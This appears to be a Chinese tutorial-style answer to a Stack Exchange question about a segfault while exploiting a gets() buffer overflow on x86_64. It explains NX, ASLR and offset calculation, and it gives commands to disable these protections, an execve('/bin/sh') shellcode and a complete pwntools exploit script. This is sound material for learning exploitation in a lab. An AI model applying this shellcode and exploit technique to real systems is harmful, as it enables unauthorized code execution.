利用过程中出现Segmentation Fault:缓冲区溢出执行Shellcode遇段错误求助
搞定你的缓冲区溢出段错误问题
咱们一步步来拆解你遇到的问题——想通过缓冲区溢出执行shellcode却触发了段错误,先从你的代码和汇编入手分析,再给出具体的解决步骤。
先看你的代码里的“坑”
你的C代码用了gets(buffer),这函数简直是缓冲区溢出的“完美助攻”——完全不检查输入长度,肯定能溢出,但为啥会触发段错误?先结合汇编看栈布局:
0x000055555555463a <+0>: push rbp 0x000055555555463b <+1>: mov rbp,rsp 0x000055555555463e <+4>: sub rsp,0x50 ; 栈上分配了80字节空间 0x0000555555554642 <+8>: mov DWORD PTR [rbp-0x44],edi ; argc存在rbp-0x44 0x0000555555554645 <+11>: mov QWORD PTR [rbp-0x50],rsi ; argv存在rbp-0x50
你的buffer[64]起始地址是rbp-0x40(刚好64字节空间),要覆盖返回地址,得先填满buffer(64字节),再覆盖栈帧的rbp值(x86_64是8字节),最后才是你要跳转的地址。如果这里偏移量算错,直接就会跳转到非法内存触发段错误。
但除了偏移量,还有几个更常见的原因:
段错误的核心原因及解决办法
1. 栈被设置为不可执行(NX/DEP保护)
现在几乎所有系统默认开启NX保护——栈内存只有读写权限,没有执行权限。你把shellcode写到栈上再跳过去,CPU直接就会抛出段错误。
- 测试阶段可以关闭NX:编译时加参数
-z execstack,再关掉栈保护-fno-stack-protector:gcc -fno-stack-protector -z execstack vuln.c -o vuln
2. ASLR地址随机化搞鬼
如果系统开了ASLR,每次运行程序时栈地址都会随机变化,你硬编码的shellcode地址自然就失效了,跳过去肯定踩非法内存。
- 测试时可以临时关闭ASLR:
要是想在开启ASLR的情况下利用,就得先通过信息泄露拿到栈地址,再构造payload。echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
3. 偏移量计算错误
刚才说的buffer+rbp的总长度是64+8=72字节,但实际可能因为编译器对齐等问题有偏差,最好用工具精准计算:
用pwntools的cyclic工具生成测试payload,看崩溃时覆盖的返回地址:
from pwn import * # 生成100字节的测试pattern payload = cyclic(100) p = process('./vuln') p.sendline(payload) p.wait() # 读取崩溃时rsp指向的返回地址 crash_addr = p.corefile.read(p.corefile.rsp, 8) offset = cyclic_find(crash_addr) print(f"覆盖返回地址需要填充{offset}字节")
这样得到的偏移量绝对准确,不会再因为填多填少踩坑。
正确构造shellcode payload的步骤
- 准备可执行栈的程序:用刚才的编译命令生成关闭保护的程序。
- 选靠谱的shellcode:x86_64下的execve("/bin/sh") shellcode,比如:
\x48\x31\xf6\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x48\x31\xc0\xb0\x3b\x0f\x05 - 构造最终payload:
假设offset是72,shellcode放在payload开头,返回地址跳转到buffer的起始地址(比如调试时拿到的rbp-0x40对应的地址):from pwn import * shellcode = b"\x48\x31\xf6\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x48\x31\xc0\xb0\x3b\x0f\x05" offset = 72 # 假设buffer起始地址是0x7fffffffde80(调试时用gdb的x/10x $rbp-0x40获取) buffer_addr = p64(0x7fffffffde80) payload = shellcode + b'A'*(offset - len(shellcode)) + buffer_addr p = process('./vuln') p.sendline(payload) p.interactive()
调试小技巧
用gdb看崩溃细节,能帮你快速定位问题:
gdb ./vuln # 加载payload文件运行 run < payload.txt # 看寄存器状态,尤其是rsp和rip info registers # 看栈上的内容,检查shellcode有没有正确写入 x/20x $rsp
内容的提问来源于stack exchange,提问作者elguerrero




